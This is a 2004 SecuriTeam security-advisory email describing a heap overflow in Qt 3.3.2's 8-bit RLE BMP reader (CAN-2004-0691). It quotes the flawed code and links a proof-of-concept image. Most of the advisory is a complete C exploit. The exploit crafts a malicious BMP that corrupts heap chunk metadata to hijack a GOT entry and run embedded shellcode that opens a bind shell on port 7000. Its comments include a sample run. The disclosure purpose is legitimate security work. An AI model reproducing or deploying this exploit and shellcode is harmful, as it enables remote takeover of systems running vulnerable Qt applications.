[UNIX] Qt BMP Heap Overflow

From: SecuriTeam (support_at_securiteam.com)
Date: 08/29/04

  • Next message: SecuriTeam: "[UNIX] a2ps Executing Shell Commands From File Name"
    To: list@securiteam.com
    Date: 29 Aug 2004 09:06:50 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Qt BMP Heap Overflow
    ------------------------------------------------------------------------

    SUMMARY

    " <http://www.trolltech.com/products/qt/index.html> Qt is a complete C++
    application development framework, which includes a class library and
    tools for cross-platform development and internationalization. The Qt API
    and tools are consistent across all supported platforms, enabling platform
    independent application development and deployment."

    An inspection of the Qt code revealed a flaw in the code that reads bitmap
    files. The flaw causes a heap-based overflow which can be used to
    compromise a host.

    DETAILS

    Vulnerable Systems:
     * Qt version 3.3.2 and prior and all applications using it

    Immune Systems:
     * Qt version 3.3.3

    CVE Information:
     <http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0691>
    CAN-2004-0691

    The heap based overflow is located within read_dib at (qimage.cpp). The
    handling of 8-bit RLE encoded BMP files is faulty. Interestingly, the
    4-bit RLE encoding handling seems to have the required safety checks:
     * User supplied length used to read into heap buffer without adequate
    bounds checking, which can be seen here:
     default: // absolute mode
    if ( d->readBlock( (char *)p, b ) != b )

     * User supplied length used to memset() a piece of heap buffer without
    adequate bounds checking:
     } else { // encoded mode
    memset( p, d->getch(), b ); // repeat pixel

     * User supplied delta pixel co-ordinates used without range checking:
     case 2: // delta (jump)
    x += d->getch();
    y += d->getch();
    p = line[h-y-1] + x;

    A proof of concept BMP file can be downloaded from
    <http://scary.beasts.org/misc/bad.bmp>
    http://scary.beasts.org/misc/bad.bmp which exploits the first flaw.

    Exploit:
    An exploit code is also available which uses QWidget::setCaption() as the
    reference location to jump to. However due to the way the exploit has been
    developed it is likely that it will only work on version 3.3.2 of the Qt
    library. The code is listed below:
    /*
     * heap overflow exploit for qt bmp parsing bug
     * infamous42md AT hotpop DOT com
     *
     * shouts to mitakeet, MB, and peeps @hackaholic
     *
     * ok, pretty standard heap overflow here. we spill across our chunk and
     * overwrite the boundary tag for next chunk. the only problems i had was
     * finding a miserable jump slot to overwrite. i thought i could just
     * overwrite malloc jump slot, but umm, well i'm not sure how to get the
    jump
     * slot for malloc from the shared library file. it is some sort of offset
     * from somewhere, and i'm not sure where. using the malloc jump slot from
    the
     * program you're exploiting doesn't seem to work. sorry i'm not an expert
    on
     * linking and loading yet, maybe after i read the 'linker loader' book
    next
     * semester i will be... but perhaps someone could explain this to me? so
     * anyways, instead i hijacked QWidget::setCaption() jump slot. and how
    did i
     * find that? well, it sure wasn't a 1337 way. i dumped the GOT in gdb
    until i
     * found the address. so the below adddress is for Qt multithreaded 3.3.2.
    i'm
     * sure it is different for other machines/platforms, so you'll need to do
    some
     * digging i'm guessing. the program i used to test all this was qvv image
     * viewer b/c it was small and didn't take 37 hours to d/l like Konqueror
    would
     * of. obviously the heap layout is going to vary greatly from program to
     * program, and depending on at what point in a given program the bmp is
     * loaded, so i can't see this being a very reliable way to exploit.
    rather
     * just a POC.
     *
     * [n00b@localho.outernet] netstat -ant | grep 7000
     * [n00b@localho.outernet] gcc -Wall haqt.c
     * [n00b@localho.outernet] ./a.out 0x80be9f8 8
     * [n00b@localho.outernet] ./qvv suckit.bmp
     * [n00b@localho.outernet] netstat -ant | grep 7000
     * tcp 0 0 0.0.0.0:7000 0.0.0.0:* LISTEN
     * [n00b@localho.outernet] ./a.out
     * Usage: ./a.out < retaddr > [ align ]
     *
     */
    #include <stdio.h>
    #include <sys/types.h>
    #include <fcntl.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <netinet/in.h>

    #define RETLOC 0x808cd0c /* jump slot for QWidget::setCaption */
    #define ALIGN 8
    #define die(x) do{perror(x); exit(EXIT_FAILURE);}while(0)
    #define BS 0x10000
    #define OUTFILE "suckit.bmp"
    #define NCHUNK_BYTES 100

    /* a bitmap header structure */
    #define BMP_HDR_SZ sizeof(struct bmp)
    struct bmp {
        u_char type[2];
        u_int bfsize,
                reserved,
                offbits, /* BMP_FILEHDR_SIZE */
                bisize, /* 40 */
                width, /* 8 */
                height; /* 18 */
        u_short planes, /* 1 */
                bitcount; /* 8 */
        u_int compres, /* 1 */
                szimg,
                xppm,
                ypppm,
                clrused, /* 1 */
                clrimportant;
    } __attribute__ ((packed));

    /* a dlmalloc chunk descriptor */
    #define CHUNKSZ sizeof(mchunk_t)
    typedef struct _mchunk {
        size_t prevsz;
        size_t sz;
        long fd;
        long bk;
    } mchunk_t;

    /* call them on port 7000, mine, and needs to lose some weight */
    #define SHELL_LEN (sizeof(remote)-1)
    char remote[] =
    "\xeb\x0a""1234567890" /* jump */
    "\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
    "\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
    "\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
    "\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
    "\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
    "\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
    "\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
    "\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80\xa1\x5f\x66\x6e\x69";
        

    void make_bmp(char *buf, int len)
    {
        int fd = 0;

        /* create the 3vil file */
        if( (fd = open(OUTFILE, O_RDWR|O_CREAT, 0666)) < 0)
            die("open");
        
        if(write(fd, buf, len) < 0)
            die("write");

        close(fd);
    }

    /*
     *
     */
    int main(int argc, char **argv)
    {
        int len = 0, x = 0, align = ALIGN;
        char buf[BS];
        u_long retaddr;
        struct bmp bmp;
        mchunk_t chunk;
     
        if(argc < 2){
            fprintf(stderr, "\tUsage: %s < retaddr > [ align ]\n", argv[0]);
            return EXIT_FAILURE;
        }
        if(argc > 2){
            align = atoi(argv[2]);
            if(align < 0 || align > 15)
                die("get bent bitch");
        }
        sscanf(argv[1], "%lx", &retaddr);

        /* setup bitmap header info */
        memset(&bmp, 0, BMP_HDR_SZ);
        bmp.type[0] = 'B', bmp.type[1] = 'M';
        bmp.bfsize = 3126;
        bmp.bisize = 40;
        bmp.planes = 1;
        bmp.bitcount = 8;
        bmp.compres = 1;
        bmp.clrused = 1;
        bmp.width = 8;
        bmp.height = 18;
        
        /* and the chunk */
        chunk.prevsz = 224;
        chunk.sz = 0xfffffffc;
        chunk.fd = RETLOC - 12;
        chunk.bk = retaddr;

        /* and now setup the buffer */
        memcpy(buf, &bmp, BMP_HDR_SZ);
        len += BMP_HDR_SZ;

        /* to pass some checks */
        len += 4; /* the color table */
        buf[len++] = 0; /* to pass the if() */
        buf[len++] = 0xff; /* overwrite len */

        /*
         * and now the fun begins:
         * first splatter the chunks, then the shellcode
         */
        len += align;
        for(x = 0; x < NCHUNK_BYTES-CHUNKSZ-1; x += CHUNKSZ)
            memcpy(buf+len+x, &chunk, CHUNKSZ);
        len += x;
        memcpy(buf+len, remote, SHELL_LEN);
        len += SHELL_LEN;

        make_bmp(buf, len);
        return 0;
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:infamous41md@hotpop.com>
    Sean.
    The original article can be found at:
    <http://scary.beasts.org/security/CESA-2004-004.txt>
    http://scary.beasts.org/security/CESA-2004-004.txt

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[UNIX] a2ps Executing Shell Commands From File Name"

    Relevant Pages

    • [EXPL] Smail preparse_address_1() Heap Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... There is a heap buffer overflow, ... ssize_t Send(int s, const void *buf, size_t len, int flags) ...
      (Securiteam)
    • [EXPL] Internet Explorer DHTML Arbitrary Code Execution (MS05-020)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... MOV EAX, DWORD PTR; EAX = Some pointer to the heap for mshtml ... To get some control over the "dirty" value we try to "spray" the heap ... so we use as big a string as possible. ...
      (Securiteam)
    • [EXPL] Mozilla Browsers Remote Heap Buffer Overrun (Exploit , 0xAD HOST)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... A heap buffer overrun vulnerability exists in Mozilla browsers, ... of the string to create more large heap blocks. ... var startDate = new Date; ...
      (Securiteam)
    • [NT] Microsoft Internet Explorer ART File Heap Corruption
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Microsoft Internet Explorer ART File Heap Corruption ... Remote exploitation of a heap corruption vulnerability in Microsoft ...
      (Securiteam)
    • [REVS] Microsoft Windows Heap Based Overflow Exploiting
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Presented in this article are several documents discussing Heap based ... heap exploitation and ways to create exploitation more stable. ... A fully documented example on exploiting a heap overflow can be found at: ...
      (Securiteam)